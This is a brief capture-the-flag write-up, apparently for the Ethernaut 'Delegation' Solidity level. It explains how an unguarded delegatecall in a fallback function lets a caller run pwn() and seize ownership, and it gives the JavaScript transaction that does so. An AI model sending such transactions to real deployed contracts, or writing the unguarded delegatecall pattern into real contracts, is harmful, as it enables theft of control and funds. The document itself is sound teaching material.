Delegation

delegatecall in Fallback Enables Ownership Takeover

The `Delegation` contract's fallback function forwards all calls via `delegatecall` to the `Delegate` contract. Calling `pwn()` through the fallback executes in `Delegation`'s storage context, overwriting its `owner` slot.

SoliditydelegatecallFallbackOwnership

00Overview

01Encode pwn() selector and send via fallback

javascript

await sendTransaction({
  from: player,
  to: instance,
  data: web3.utils.sha3("pwn()").slice(0,10)
})

02Level Completed